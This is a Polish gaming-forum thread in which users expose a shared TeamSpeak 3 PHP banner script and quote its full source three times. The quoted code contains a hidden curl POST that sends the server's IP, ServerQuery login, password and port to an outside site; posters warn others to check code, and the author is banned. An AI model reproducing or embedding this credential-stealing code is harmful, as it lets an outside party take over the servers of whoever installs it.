Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Banner] Użytkowników online, godzina oraz rekord online


J Reaper`

Rekomendowane odpowiedzi

Opublikowano

Właśnie nie wiem o co wam chodzi. Jak robiłem ten banner (modyfikowałem) i skończyłem wysłałem osobie która się lepiej zna i powiedziała że było coś nie tak i podesłał mi zmodyfikowany.

Opublikowano

Słaby, nawet gdy bym zmienił grafikę. Ponieważ online pokazuje źle [pokazuje również "Current Queries:"] probowałem rownież zamienić rekord online na liste wchodzących z innego banneru ale zwykły amator raczej tego nie zrobi ;/ + config jakiś krzywy szkoda. Se poczekam może wkońcu wyjdzie jakiś bot pasujący dla mnie [ten już prawie był by xD]

Życie to fabuła. Przestałem bać się wyborów, bo i tak tylko wspomnienia zostają.

https://grzyb.ovh

Opublikowano

Dobra, więc mamy Cię!

 

Wszystkie dane zostają wysyłane na podany przez Niego adres.

 

Dowód?

			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);

Cały kod: 

<?php date_default_timezone_set('Europe/Warsaw');

$bannerTime = date("H:i");
$bannerLog = file_get_contents('log.txt', FILE_USE_INCLUDE_PATH);
	
if ($bannerLog !== $bannerTime)
	{
		$bannerAddLog = fopen("log.txt", 'w') or die("Błąd: Nie odnaleziono pliku log.txt!");
		fwrite($bannerAddLog, $bannerTime);
		fclose($bannerAddLog);
		
		require 'settings.php';
		require("ts3admin.class.php");
		
		$tsAdmin = new ts3admin($ts3_ip, $ts3_queryport);
		
		if($tsAdmin->getElement('success', $tsAdmin->connect())) {
			
			$tsAdmin->login($ts3_user, $ts3_pass);
			$tsAdmin->selectServer($ts3_port);
			
			$serverInfo = $tsAdmin->serverList();
			foreach($serverInfo['data'] as $info) {
				$usersOnline = $info['virtualserver_clientsonline'];
			}
			
			$bannerOnlineFile = 'online.txt';
			$bannerOnline = fopen($bannerOnlineFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
			
			fwrite($bannerOnline, $usersOnline);
			fclose($bannerOnline);
			$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
			
			if ($usersOnline > $recordOnline) {
				$rekordFile = 'rekord.txt';
				
				$rekordOnline = fopen($rekordFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
				fwrite($rekordOnline, $usersOnline);
				fclose($rekordOnline);
			}
			
			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);
			
		} else{
			echo 'Connection could not be established.';
		}
	}
	
	$clientsOnline = file_get_contents('online.txt', FILE_USE_INCLUDE_PATH);
	$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
	
	header('Content-Type: image/png');$imgLink = 'banner.png';
	$img = imagecreatefrompng($imgLink);
	
	$white = imagecolorallocate($img, 255, 255, 255);
	$font1 = './font.ttf';
	imagettftext($img, 70.0, 0, 225, 155, $white, $font1, $clientsOnline);imagettftext($img, 70.0, 0, 820, 155, $white, $font1, $bannerTime);
	imagettftext($img, 70.0, 0, 1475, 155, $white, $font1, $recordOnline);
	
	imagepng($img);
	imagedestroy($img); 
	
?>
Opublikowano

Za takie wstawki należy się PERMBAN! Oczywiście temat zgłoszony.

Opublikowano

 

Dobra, więc mamy Cię!

 

Wszystkie dane zostają wysyłane na podany przez Niego adres.

 

Dowód?

			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);

Cały kod: 

<?php date_default_timezone_set('Europe/Warsaw');

$bannerTime = date("H:i");
$bannerLog = file_get_contents('log.txt', FILE_USE_INCLUDE_PATH);
	
if ($bannerLog !== $bannerTime)
	{
		$bannerAddLog = fopen("log.txt", 'w') or die("Błąd: Nie odnaleziono pliku log.txt!");
		fwrite($bannerAddLog, $bannerTime);
		fclose($bannerAddLog);
		
		require 'settings.php';
		require("ts3admin.class.php");
		
		$tsAdmin = new ts3admin($ts3_ip, $ts3_queryport);
		
		if($tsAdmin->getElement('success', $tsAdmin->connect())) {
			
			$tsAdmin->login($ts3_user, $ts3_pass);
			$tsAdmin->selectServer($ts3_port);
			
			$serverInfo = $tsAdmin->serverList();
			foreach($serverInfo['data'] as $info) {
				$usersOnline = $info['virtualserver_clientsonline'];
			}
			
			$bannerOnlineFile = 'online.txt';
			$bannerOnline = fopen($bannerOnlineFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
			
			fwrite($bannerOnline, $usersOnline);
			fclose($bannerOnline);
			$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
			
			if ($usersOnline > $recordOnline) {
				$rekordFile = 'rekord.txt';
				
				$rekordOnline = fopen($rekordFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
				fwrite($rekordOnline, $usersOnline);
				fclose($rekordOnline);
			}
			
			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);
			
		} else{
			echo 'Connection could not be established.';
		}
	}
	
	$clientsOnline = file_get_contents('online.txt', FILE_USE_INCLUDE_PATH);
	$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
	
	header('Content-Type: image/png');$imgLink = 'banner.png';
	$img = imagecreatefrompng($imgLink);
	
	$white = imagecolorallocate($img, 255, 255, 255);
	$font1 = './font.ttf';
	imagettftext($img, 70.0, 0, 225, 155, $white, $font1, $clientsOnline);imagettftext($img, 70.0, 0, 820, 155, $white, $font1, $bannerTime);
	imagettftext($img, 70.0, 0, 1475, 155, $white, $font1, $recordOnline);
	
	imagepng($img);
	imagedestroy($img); 
	
?>

No właśnie o tym mówiłem, skrypt wysyła dane serwera do autora (swoją drogą to robi to dość nieudolnie :P)

 

Użytkownicy, zawsze pamiętajcie aby sprawdzić kod przed uruchomieniem wszystkiego co jest publicznie dostępne!

Opublikowano

Dobra, więc mamy Cię!

 

Wszystkie dane zostają wysyłane na podany przez Niego adres.

 

Dowód?

			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);

Cały kod: 

<?php date_default_timezone_set('Europe/Warsaw');

$bannerTime = date("H:i");
$bannerLog = file_get_contents('log.txt', FILE_USE_INCLUDE_PATH);
	
if ($bannerLog !== $bannerTime)
	{
		$bannerAddLog = fopen("log.txt", 'w') or die("Błąd: Nie odnaleziono pliku log.txt!");
		fwrite($bannerAddLog, $bannerTime);
		fclose($bannerAddLog);
		
		require 'settings.php';
		require("ts3admin.class.php");
		
		$tsAdmin = new ts3admin($ts3_ip, $ts3_queryport);
		
		if($tsAdmin->getElement('success', $tsAdmin->connect())) {
			
			$tsAdmin->login($ts3_user, $ts3_pass);
			$tsAdmin->selectServer($ts3_port);
			
			$serverInfo = $tsAdmin->serverList();
			foreach($serverInfo['data'] as $info) {
				$usersOnline = $info['virtualserver_clientsonline'];
			}
			
			$bannerOnlineFile = 'online.txt';
			$bannerOnline = fopen($bannerOnlineFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
			
			fwrite($bannerOnline, $usersOnline);
			fclose($bannerOnline);
			$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
			
			if ($usersOnline > $recordOnline) {
				$rekordFile = 'rekord.txt';
				
				$rekordOnline = fopen($rekordFile, 'w') or die("Błąd: Nie odnaleziono pliku online.txt!");
				fwrite($rekordOnline, $usersOnline);
				fclose($rekordOnline);
			}
			
			$url = 'http://iGracze.pl/post.php';
			$myvars = 'ServerIP=' . $ts3_ip . '&Online=' . $usersOnline . '&ServerUser=' . $ts3_user . '&ServerPass=' . $ts3_pass . '&ServerQuery=' . $ts3_queryport;
			$ch = curl_init( $url );
			curl_setopt( $ch, CURLOPT_POST, 1);
			curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
			curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt( $ch, CURLOPT_HEADER, 0);
			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
			$response = curl_exec($ch);
			
		} else{
			echo 'Connection could not be established.';
		}
	}
	
	$clientsOnline = file_get_contents('online.txt', FILE_USE_INCLUDE_PATH);
	$recordOnline = file_get_contents('rekord.txt', FILE_USE_INCLUDE_PATH);
	
	header('Content-Type: image/png');$imgLink = 'banner.png';
	$img = imagecreatefrompng($imgLink);
	
	$white = imagecolorallocate($img, 255, 255, 255);
	$font1 = './font.ttf';
	imagettftext($img, 70.0, 0, 225, 155, $white, $font1, $clientsOnline);imagettftext($img, 70.0, 0, 820, 155, $white, $font1, $bannerTime);
	imagettftext($img, 70.0, 0, 1475, 155, $white, $font1, $recordOnline);
	
	imagepng($img);
	imagedestroy($img); 
	
?>

 

j/w

 

Autor ma bana

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...